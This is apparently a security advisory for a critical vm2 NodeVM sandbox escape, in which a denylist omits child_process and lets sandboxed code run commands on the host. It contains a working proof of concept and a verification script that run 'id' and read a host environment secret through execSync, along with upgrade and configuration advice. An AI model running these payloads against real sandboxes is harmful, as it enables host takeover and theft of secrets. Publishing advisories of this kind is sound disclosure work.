GHSA-pq68-rvw4-xp4r: Critical severity npm/vm2 vulnerability
vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUSBUILTINS denylist omits childprocess despite blocking other host-spawning modules. Attackers can require childprocess and execute arbitrary commands on the host system when NodeVM is configured with builtin:[''] or explicit childprocess allowance.
This fork hardens NodeVM with a DANGEROUSBUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:[''] or names them explicitly — the list contains module, workerthreads, cluster, vm, repl, inspector, process, traceevents, wasi, diagnosticschannel, asynchooks, perfhooks, v8, os, dns, and test. It omits childprocess — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['']} (or the fork's own documented ['','-http','-net',…] subtract pattern) can require('childprocess').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet childprocess — which spawns host processes more directly — is not.
Details lib/builtin.js: - DANGEROUSBUILTINS (lines 83‑179) — the Set of denied builtins. childprocess does not appear anywhere in it. - isDangerousBuiltin(key) (lines 185‑195) — strips node: prefixes and applies family‑prefix matching against DANGEROUSBUILTINS. Returns false for childprocess. - BUILTINMODULES (lines 209‑210) — the source list that the '' wildcard expands to — is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('childprocess') is false, childprocess remains in ''. - addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['childprocess'] is admitted as well.
The module returned is the real host childprocess (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '' or explicitly names them" — the invariant childprocess violates.
PoC js const { NodeVM } = require('vm2');
const r = new NodeVM({ require: { builtin: [''] } }).run( module.exports = require('childprocess').execSync('id').toString(); , 'plugin.js');
console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command execution Verified results: | config | require('childprocess') | |---|---| | { builtin: [''] } | RCE — host id + host env read | | { builtin: ['', '-fs'] } (documented subtract pattern) | RCE — subtracting other modules does not remove it | | { builtin: ['childprocess'] } | RCE — explicit name admitted despite the "never, even if named" invariant | | { builtin: ['fs'] } (control) | denied — Cannot find module 'childprocess' |
Impact Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['']} or the documented ['', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows childprocess believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('childprocess').
builtin-childprocess-denylist-gap-rce.js js 'use strict'; // F-006: vm2 NodeVM DANGEROUSBUILTINS denylist omits childprocess. // The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins // even under builtin:[''] or explicit naming — module, workerthreads, // cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT // childprocess. So require:{builtin:['']} (an allow-all config the fork // explicitly hardens) yields direct host RCE. Attacker controls only the // sandboxed script. const path = require('path'); const { NodeVM } = require(path.resolve(dirname, '..', 'src', 'vm2', 'lib', 'main.js'));
process.env.HOSTONLYSECRET = 'CANARY123'; // host-only; sandbox process stub has env:{}
function tryConfig(label, opts) { try { const r = new NodeVM({ ...opts, timeout: 2000 }).run(module.exports = (() => { try { const cp = require('childprocess'); return { reached: true, id: cp.execSync('id').toString().trim(), hostSecret: cp.execSync('printenv HOSTONLYSECRET').toString().trim() }; } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; } })(), 'plugin.js'); console.log(label, '=>', JSON.stringify(r)); return r; } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; } }
console.log('--- childprocess reachability by NodeVM require config ---'); const a = tryConfig("require:{builtin:['']} ", { require: { builtin: [''] } }); const b = tryConfig("require:{builtin:['','-fs']} ", { require: { builtin: ['', '-fs'] } }); // documented subtract pattern const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied
const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123' && b && b.reached && c && c.reached === false; console.log(ok ? "\n>>> CONFIRMED: builtin:[''] gives host RCE via childprocess (denylist gap); control denies it when not allowed" : "\n>>> NOT confirmed"); process.exit(ok ? 42 : 1);
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.12.1 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.12.1 - Configuration
Restrict NodeVM builtins to explicitly allowed modules; do not allow '*' or child_process.
vm2 NodeVM require.builtin = Explicit allowlist excluding child_process and '*'
Event History
Frequently Asked Questions
Which deployments are exposed to host command execution?
NodeVM deployments using vm2 versions before 3.12.1 are exposed when their require configuration permits child_process, including builtin:['*'] and configurations that explicitly name child_process. The documented wildcard-and-subtraction pattern is also exposed if it does not subtract child_process.
What does an attacker need to exploit this issue?
An attacker needs the ability to run JavaScript in the affected NodeVM sandbox. They can then require child_process and use execSync to execute arbitrary commands on the host system.
How can I determine whether a sandbox configuration is at risk?
Review the vm2 version and the NodeVM require.builtin setting. Treat configurations using builtin:['*'], explicit child_process permission, or wildcard subtraction lists that do not exclude child_process as at risk.
What can be done if updating is not immediately possible?
Do not allow child_process in the sandbox's builtin module configuration. Avoid wildcard builtin allowances unless child_process is explicitly excluded.